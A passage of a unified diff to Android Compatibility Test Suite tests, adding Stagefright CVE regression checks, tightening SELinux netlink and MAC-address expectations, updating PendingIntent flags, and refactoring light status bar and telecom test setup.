--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1259,6 +1259,52 @@
      ***********************************************************/
 
     @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testStagefright_cve_2020_3658() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_3658);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-05")
+    public void testStagefright_cve_2020_3633() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_3633);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testStagefright_cve_2020_3660() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_3660);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testStagefright_cve_2020_3661() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_3661);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14013() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14013);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testStagefright_cve_2020_3662() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_3662);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2021-01")
+    public void testStagefright_cve_2021_0312() throws Exception {
+        assumeFalse(ModuleDetector.moduleIsPlayManaged(
+            getInstrumentation().getContext().getPackageManager(),
+            MainlineModule.MEDIA));
+        doStagefrightTestExtractorSeek(R.raw.cve_2021_0312, 2, new CrashUtils.Config()
+                .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+    }
+
+    @Test
     @SecurityTest(minPatchLevel = "2018-09")
     public void testStagefright_cve_2018_9474() throws Exception {
         MediaPlayer mp = new MediaPlayer();
diff --git a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
index 6ec352c..496270f 100644
--- a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
+++ b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
@@ -12,6 +12,7 @@
 import java.util.Collections;
 import java.util.regex.Pattern;
 import java.util.regex.Matcher;
+import org.junit.Assert;
 
 abstract class SELinuxTargetSdkTestBase extends AndroidTestCase
 {
@@ -19,6 +20,8 @@
         System.loadLibrary("ctsselinux_jni");
     }
 
+    static final byte[] ANONYMIZED_HARDWARE_ADDRESS = { 0x02, 0x00, 0x00, 0x00, 0x00, 0x00 };
+
     protected static String getFile(String filename) throws IOException {
         BufferedReader in = null;
         try {
@@ -76,19 +79,11 @@
         }
     }
 
-    protected static void checkNetlinkRouteBind(boolean expectAllowed) throws IOException {
-        if (!expectAllowed) {
-            assertEquals(
-                    "Bind() is not allowed on a netlink route sockets",
-                    13,
-                    checkNetlinkRouteBind());
-        } else {
-            assertEquals(
-                    "Bind() should succeed for netlink route sockets for apps with "
-                            + "targetSdkVersion <= Q",
-                    -1,
-                    checkNetlinkRouteBind());
-        }
+    protected static void noNetlinkRouteBind() throws IOException {
+        assertEquals(
+                "bind() is not allowed on netlink route sockets",
+                13,
+                checkNetlinkRouteBind());
     }
 
     /**
@@ -169,16 +164,17 @@
     }
 
     /**
-     * Verify that apps having targetSdkVersion <= 29 are able to see MAC
-     * addresses of ethernet devices.
+     * Verify that apps having targetSdkVersion <= 29 get an anonymized MAC
+     * address (02:00:00:00:00:00) instead of a null MAC for ethernet interfaces.
      * The counterpart of this test (testing for targetSdkVersion > 29) is
      * {@link libcore.java.net.NetworkInterfaceTest#testGetHardwareAddress_returnsNull()}.
      */
-    protected static void checkNetworkInterface_returnsHardwareAddresses() throws Exception {
+    protected static void checkNetworkInterface_returnsAnonymizedHardwareAddresses()
+        throws Exception {
         assertNotNull(NetworkInterface.getNetworkInterfaces());
         for (NetworkInterface nif : Collections.list(NetworkInterface.getNetworkInterfaces())) {
             if (isEthernet(nif.getName())) {
-                assertEquals(6, nif.getHardwareAddress().length);
+                Assert.assertArrayEquals(ANONYMIZED_HARDWARE_ADDRESS, nif.getHardwareAddress());
             }
         }
     }
diff --git a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
index 1ed366e..1098a6f 100644
--- a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
@@ -83,6 +83,6 @@
     }
 
     public void testNoNetlinkRouteBind() throws IOException {
-        checkNetlinkRouteBind(false);
+        noNetlinkRouteBind();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
index a784464..5e2f75d 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,6 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
index 880ae1a..29b68db 100644
--- a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,6 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
index 1f1eaaa..c1d93dc 100644
--- a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
@@ -47,8 +47,8 @@
         checkNetlinkRouteGetlink(true);
     }
 
-    public void testNetlinkRouteBindSucceeds() throws IOException {
-        checkNetlinkRouteBind(true);
+    public void testNoNetlinkRouteBind() throws IOException {
+        noNetlinkRouteBind();
     }
 
     public void testCanNotExecuteFromHomeDir() throws Exception {
@@ -86,6 +86,6 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
index 05fad31..4de03b0 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
@@ -38,7 +38,7 @@
     }
 
     public void testNoNetlinkRouteBind() throws IOException {
-        checkNetlinkRouteBind(false);
+        noNetlinkRouteBind();
     }
 
     public void testCanNotExecuteFromHomeDir() throws Exception {
diff --git a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
index ba22270..7602bae 100644
--- a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
+++ b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
@@ -531,7 +531,7 @@
                 mContext,
                 9384 /* number not relevant */ ,
                 new Intent(ACTION_INTENT_SENDER_FIRED_ON_CLICK),
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         Intent shareIntent = Intent.createChooser(intent, null, pi.getIntentSender());
 
diff --git a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
index b1c21a6..811966b 100644
--- a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
+++ b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
@@ -41,7 +41,7 @@
         final PendingIntent receiverIntent =
                 PendingIntent.getBroadcast(context, 0,
                         new Intent().setComponent(new ComponentName(context, InlineReply.class)),
-                        PendingIntent.FLAG_UPDATE_CURRENT);
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final RemoteInput ri = new RemoteInput.Builder("result").setLabel("Remote input").build();
 
         final Notification.Builder nb = new Builder(context)
diff --git a/tests/tests/slice/AndroidManifest.xml b/tests/tests/slice/AndroidManifest.xml
index 58d51d0..668ae0a 100644
--- a/tests/tests/slice/AndroidManifest.xml
+++ b/tests/tests/slice/AndroidManifest.xml
@@ -18,8 +18,6 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="android.slice.cts">
 
-    <uses-permission android:name="android.permission.BIND_SLICE"/>
-
     <application android:label="Android TestCase"
          android:icon="@drawable/size_48x48"
          android:maxRecents="1"
diff --git a/tests/tests/slice/AndroidTest.xml b/tests/tests/slice/AndroidTest.xml
index 5543f74..be91afc 100644
--- a/tests/tests/slice/AndroidTest.xml
+++ b/tests/tests/slice/AndroidTest.xml
@@ -24,10 +24,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSliceTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="pm grant android.slice.cts android.permission.BIND_SLICE" />
-        <option name="teardown-command" value="pm revoke android.slice.cts android.permission.BIND_SLICE"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.slice.cts" />
         <option name="runtime-hint" value="1m" />
diff --git a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
index 89f3ac1..d6e6659 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
@@ -156,7 +156,8 @@
 
     @Test
     public void testActionSubtype() {
-        PendingIntent i = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent i = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         Slice subSlice = new Slice.Builder(BASE_URI.buildUpon().appendPath("s").build(), SPEC)
                 .build();
         Slice s = new Slice.Builder(BASE_URI, SPEC)
diff --git a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
index 135c67a..faf6e8f 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
@@ -145,7 +145,8 @@
         };
         try {
             Uri uri = BASE_URI.buildUpon().path("permission").build();
-            PendingIntent intent = PendingIntent.getBroadcast(mContext, 0, new Intent(""), 0);
+            PendingIntent intent = PendingIntent.getBroadcast(mContext, 0, new Intent(""),
+                    PendingIntent.FLAG_IMMUTABLE);
 
             when(LocalSliceProvider.sProxy.onCreatePermissionRequest(any())).thenReturn(intent);
 
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProvider.java b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
index 20ec2e5..2b1cc1c 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProvider.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
@@ -90,7 +90,8 @@
                 Builder builder = new Builder(sliceUri, SPEC);
                 Slice subSlice = new Slice.Builder(builder).build();
                 PendingIntent broadcast = PendingIntent.getBroadcast(getContext(), 0,
-                        new Intent(getContext().getPackageName() + ".action"), 0);
+                        new Intent(getContext().getPackageName() + ".action"),
+                        PendingIntent.FLAG_IMMUTABLE);
                 return builder.addAction(broadcast, subSlice, "action").build();
             case "/int":
                 return new Slice.Builder(sliceUri, SPEC).addInt(0xff121212, "int",
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
deleted file mode 100644
index b6b2f4c..0000000
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.slice.cts;
-
-import android.content.pm.PackageManager;
-import androidx.test.InstrumentationRegistry;
-import android.content.Context;
-import android.app.slice.Slice;
-import android.app.slice.SliceSpec;
-import android.content.ContentResolver;
-import android.net.Uri;
-import android.os.Bundle;
-
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.google.android.collect.Lists;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import static org.junit.Assume.assumeFalse;
-
-@RunWith(AndroidJUnit4.class)
-public class SliceProviderTest {
-
-    private static final String VALID_AUTHORITY = "android.slice.cts";
-    private static final String SUSPICIOUS_AUTHORITY = "com.suspicious.www";
-    private static final String ACTION_BLUETOOTH = "/action/bluetooth";
-    private static final String VALID_BASE_URI_STRING = "content://" + VALID_AUTHORITY;
-    private static final String VALID_ACTION_URI_STRING =
-            "content://" + VALID_AUTHORITY + ACTION_BLUETOOTH;
-    private static final String SHADY_ACTION_URI_STRING =
-            "content://" + SUSPICIOUS_AUTHORITY + ACTION_BLUETOOTH;
-    private final Context mContext = InstrumentationRegistry.getContext();
-    private boolean isSliceDisabled = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_SLICES_DISABLED);
-
-    @Rule
-    public ActivityTestRule<Launcher> mLauncherActivityTestRule = new ActivityTestRule<>(Launcher.class);
-
-    private Uri validBaseUri = Uri.parse(VALID_BASE_URI_STRING);
-    private Uri validActionUri = Uri.parse(VALID_ACTION_URI_STRING);
-    private Uri shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING);
-
-    private ContentResolver mContentResolver;
-
-    @Before
-    public void setUp() {
-        mContentResolver = mLauncherActivityTestRule.getActivity().getContentResolver();
-    }
-
-    @Test
-    public void testCallSliceUri_ValidAuthority() {
-        assumeFalse(isSliceDisabled);
-        doQuery(validActionUri);
-    }
-
-    @Test(expected = SecurityException.class)
-    public void testCallSliceUri_ShadyAuthority() {
-        assumeFalse(isSliceDisabled);
-        doQuery(shadyActionUri);
-    }
-
-    private Slice doQuery(Uri actionUri) {
-        Bundle extras = new Bundle();
-        extras.putParcelable("slice_uri", actionUri);
-        extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
-                    new SliceSpec("androidx.slice.LIST", 1),
-                    new SliceSpec("androidx.app.slice.BASIC", 1),
-                    new SliceSpec("androidx.slice.BASIC", 1),
-                    new SliceSpec("androidx.app.slice.LIST", 1)
-            ));
-        Bundle result = mContentResolver.call(
-                validBaseUri,
-                SliceProvider.METHOD_SLICE,
-                null,
-                extras
-        );
-        return result.getParcelable(SliceProvider.EXTRA_SLICE);
-    }
-
-}
diff --git a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
index ec3e406..0aa79ec 100644
--- a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
+++ b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
@@ -57,7 +57,6 @@
 
 import org.junit.After;
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.Description;
@@ -204,7 +203,6 @@
     }
 
     @Test
-    @Ignore("Can be enabled only after b/173053792 is fixed")
     public void testSoftErrorRetriesActiveApp() throws Exception {
         removeAllAccounts();
 
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
index a826575..663cc70 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
@@ -15,7 +15,11 @@
  */
 package android.systemui.cts;
 
+import static android.view.WindowInsetsController.APPEARANCE_LIGHT_NAVIGATION_BARS;
+import static android.view.WindowInsetsController.APPEARANCE_LIGHT_STATUS_BARS;
+
 import android.view.View;
+import android.view.WindowInsetsController;
 
 /**
  * An activity that exercises SYSTEM_UI_FLAG_LIGHT_STATUS_BAR and
@@ -23,15 +27,15 @@
  */
 public class LightBarActivity extends LightBarBaseActivity {
 
-    public void setLightStatusBar(boolean lightStatusBar) {
-        setLightBar(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+    public void setLightStatusBarLegacy(boolean lightStatusBar) {
+        setLightBarLegacy(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
     }
 
-    public void setLightNavigationBar(boolean lightNavigationBar) {
-        setLightBar(lightNavigationBar, View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
+    public void setLightNavigationBarLegacy(boolean lightNavigationBar) {
+        setLightBarLegacy(lightNavigationBar, View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
     }
 
-    private void setLightBar(boolean light, int systemUiFlag) {
+    private void setLightBarLegacy(boolean light, int systemUiFlag) {
         int vis = getWindow().getDecorView().getSystemUiVisibility();
         if (light) {
             vis |= systemUiFlag;
@@ -40,4 +44,24 @@
         }
         getWindow().getDecorView().setSystemUiVisibility(vis);
     }
+
+    public void setLightStatusBarAppearance(boolean lightStatusBar) {
+        setLightBarAppearance(lightStatusBar, APPEARANCE_LIGHT_STATUS_BARS);
+    }
+
+    public void setLightNavigationBarAppearance(boolean lightNavigationBar) {
+        setLightBarAppearance(lightNavigationBar, APPEARANCE_LIGHT_NAVIGATION_BARS);
+    }
+
+    private void setLightBarAppearance(boolean light, int appearanceFlag) {
+        final WindowInsetsController controller =
+                getWindow().getDecorView().getWindowInsetsController();
+        int appearance = controller.getSystemBarsAppearance();
+        if (light) {
+            appearance |= appearanceFlag;
+        } else {
+            appearance &= ~appearanceFlag;
+        }
+        controller.setSystemBarsAppearance(appearance, appearanceFlag);
+    }
 }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index dc414ef..8fbd429 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -38,6 +38,8 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ThrowingRunnable;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestName;
@@ -82,32 +84,68 @@
     public void testLightStatusBarIcons() throws Throwable {
         assumeHasColoredStatusBar(mActivityRule);
 
-        mNm = (NotificationManager) getInstrumentation().getContext()
-                .getSystemService(Context.NOTIFICATION_SERVICE);
-        NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
-                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
-        mNm.createNotificationChannel(channel1);
+        runInNotificationSession(() -> {
+            requestLightBars(LIGHT_BG_COLOR);
+            Thread.sleep(WAIT_TIME);
 
-        // post 10 notifications to ensure enough icons in the status bar
-        for (int i = 0; i < 10; i++) {
-            Notification.Builder noti1 = new Notification.Builder(getInstrumentation().getContext(),
-                    NOTIFICATION_CHANNEL_ID)
-                    .setSmallIcon(R.drawable.ic_save)
-                    .setChannelId(NOTIFICATION_CHANNEL_ID)
-                    .setPriority(Notification.PRIORITY_LOW)
-                    .setGroup(NOTIFICATION_GROUP_KEY);
-            mNm.notify(NOTIFICATION_TAG, i, noti1.build());
-        }
+            Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+            Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+            assertStats(bitmap, s, true /* light */);
+        });
+    }
 
-        requestLightBars(LIGHT_BG_COLOR);
-        Thread.sleep(WAIT_TIME);
+    @Test
+    @AppModeFull // Instant apps cannot create notifications
+    public void testAppearanceCanOverwriteLegacyFlags() throws Throwable {
+        assumeHasColoredStatusBar(mActivityRule);
 
-        Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
-        Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
-        assertLightStats(bitmap, s);
+        runInNotificationSession(() -> {
+            final LightBarActivity activity = mActivityRule.getActivity();
+            activity.runOnUiThread(() -> {
+                activity.getWindow().setStatusBarColor(LIGHT_BG_COLOR);
+                activity.getWindow().setNavigationBarColor(LIGHT_BG_COLOR);
 
-        mNm.cancelAll();
-        mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+                activity.setLightStatusBarLegacy(true);
+                activity.setLightNavigationBarLegacy(true);
+
+                // The new appearance APIs can overwrite the appearance specified by the legacy
+                // flags.
+                activity.setLightStatusBarAppearance(false);
+                activity.setLightNavigationBarAppearance(false);
+            });
+            Thread.sleep(WAIT_TIME);
+
+            Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+            Stats s = evaluateDarkBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+            assertStats(bitmap, s, false /* light */);
+        });
+    }
+
+    @Test
+    @AppModeFull // Instant apps cannot create notifications
+    public void testLegacyFlagsCannotOverwriteAppearance() throws Throwable {
+        assumeHasColoredStatusBar(mActivityRule);
+
+        runInNotificationSession(() -> {
+            final LightBarActivity activity = mActivityRule.getActivity();
+            activity.runOnUiThread(() -> {
+                activity.getWindow().setStatusBarColor(LIGHT_BG_COLOR);
+                activity.getWindow().setNavigationBarColor(LIGHT_BG_COLOR);
+
+                activity.setLightStatusBarAppearance(false);
+                activity.setLightNavigationBarAppearance(false);
+
+                // Once the client starts using the new appearance APIs, the legacy flags won't
+                // change the appearance anymore.
+                activity.setLightStatusBarLegacy(true);
+                activity.setLightNavigationBarLegacy(true);
+            });
+            Thread.sleep(WAIT_TIME);
+
+            Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+            Stats s = evaluateDarkBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+            assertStats(bitmap, s, false /* light */);
+        });
     }
 
     @Test
@@ -126,7 +164,7 @@
         LightBarActivity activity = mActivityRule.getActivity();
         Bitmap bitmap = takeNavigationBarScreenshot(activity);
         Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, activity.getBottom());
-        assertLightStats(bitmap, s);
+        assertStats(bitmap, s, true /* light */);
     }
 
     @Test
@@ -143,6 +181,33 @@
                 mTestName.getMethodName());
     }
 
+    private void runInNotificationSession(ThrowingRunnable task) throws Exception {
+        try {
+            mNm = (NotificationManager) getInstrumentation().getContext()
+                    .getSystemService(Context.NOTIFICATION_SERVICE);
+            NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                    NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+            mNm.createNotificationChannel(channel1);
+
+            // post 10 notifications to ensure enough icons in the status bar
+            for (int i = 0; i < 10; i++) {
+                Notification.Builder noti1 = new Notification.Builder(
+                        getInstrumentation().getContext(),
+                        NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(R.drawable.ic_save)
+                        .setChannelId(NOTIFICATION_CHANNEL_ID)
+                        .setPriority(Notification.PRIORITY_LOW)
+                        .setGroup(NOTIFICATION_GROUP_KEY);
+                mNm.notify(NOTIFICATION_TAG, i, noti1.build());
+            }
+
+            task.run();
+        } finally {
+            mNm.cancelAll();
+            mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+        }
+    }
+
     private void injectCanceledTap(int x, int y) {
         long downTime = SystemClock.uptimeMillis();
         injectEvent(MotionEvent.ACTION_DOWN, x, y, downTime);
@@ -158,19 +223,22 @@
         event.recycle();
     }
 
-    private void assertLightStats(Bitmap bitmap, Stats s) {
+    private void assertStats(Bitmap bitmap, Stats s, boolean light) {
         boolean success = false;
         try {
             assumeNavigationBarChangesColor(s.backgroundPixels, s.totalPixels());
 
+            final String spec = light ? "60% black and 24% black" : "100% white and 30% white";
             assertMoreThan("Not enough pixels colored as in the spec", 0.3f,
                     (float) s.iconPixels / (float) s.foregroundPixels(),
-                    "Are the bar icons colored according to the spec "
-                            + "(60% black and 24% black)?");
+                    "Are the bar icons colored according to the spec (" + spec + ")?");
 
-            assertLessThan("Too many lighter pixels lighter than the background", 0.05f,
-                    (float) s.sameHueLightPixels / (float) s.foregroundPixels(),
-                    "Are the bar icons dark?");
+            final String unexpected = light ? "lighter" : "darker";
+            final String expected = light ? "dark" : "light";
+            final int sameHuePixels = light ? s.sameHueLightPixels : s.sameHueDarkPixels;
+            assertLessThan("Too many pixels " + unexpected + " than the background", 0.05f,
+                    (float) sameHuePixels / (float) s.foregroundPixels(),
+                    "Are the bar icons " + expected + "?");
 
             assertLessThan("Too many pixels with a changed hue", 0.05f,
                     (float) s.unexpectedHuePixels / (float) s.foregroundPixels(),
@@ -184,13 +252,13 @@
         }
     }
 
-    private void requestLightBars(final int background) throws Throwable {
+    private void requestLightBars(final int background) {
         final LightBarActivity activity = mActivityRule.getActivity();
         activity.runOnUiThread(() -> {
             activity.getWindow().setStatusBarColor(background);
             activity.getWindow().setNavigationBarColor(background);
-            activity.setLightStatusBar(true);
-            activity.setLightNavigationBar(true);
+            activity.setLightStatusBarLegacy(true);
+            activity.setLightNavigationBarLegacy(true);
         });
     }
 
@@ -220,8 +288,15 @@
     }
 
     private Stats evaluateLightBarBitmap(Bitmap bitmap, int background, int shiftY) {
-        int iconColor = 0x99000000;
-        int iconPartialColor = 0x3d000000;
+        return evaluateBarBitmap(bitmap, background, shiftY, 0x99000000, 0x3d000000);
+    }
+
+    private Stats evaluateDarkBarBitmap(Bitmap bitmap, int background, int shiftY) {
+        return evaluateBarBitmap(bitmap, background, shiftY, 0xffffffff, 0x4dffffff);
+    }
+
+    private Stats evaluateBarBitmap(Bitmap bitmap, int background, int shiftY, int iconColor,
+            int iconPartialColor) {
 
         int mixedIconColor = mixSrcOver(background, iconColor);
         int mixedIconPartialColor = mixSrcOver(background, iconPartialColor);
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index f686867..7a3ae56 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -30,10 +30,13 @@
         <option name="test-file-name" value="CarModeTestApp.apk" />
         <option name="test-file-name" value="CarModeTestAppTwo.apk" />
     </target_preparer>
+
+    <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-      <!-- Disable hidden API checking, see b/166236554 -->
-        <option name="run-command" value="settings put global hidden_api_policy 1" />
-        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.telecom.cts" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.telecom.cts.api29incallservice" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.telecom.cts" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.telecom.cts.api29incallservice" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.telecom.cts" />
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
index ab1115e..1922df6 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
@@ -28,7 +28,8 @@
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
     <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"/>
 
-    <application android:label="Api29CTSInCallService">
+    <application android:label="Api29CTSInCallService"
+                 android:debuggable="true">
         <service android:name=".CtsApi29InCallService"
              android:permission="android.permission.BIND_INCALL_SERVICE"
              android:launchMode="singleInstance"
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
index 1f89db5..b8eb8bf 100644
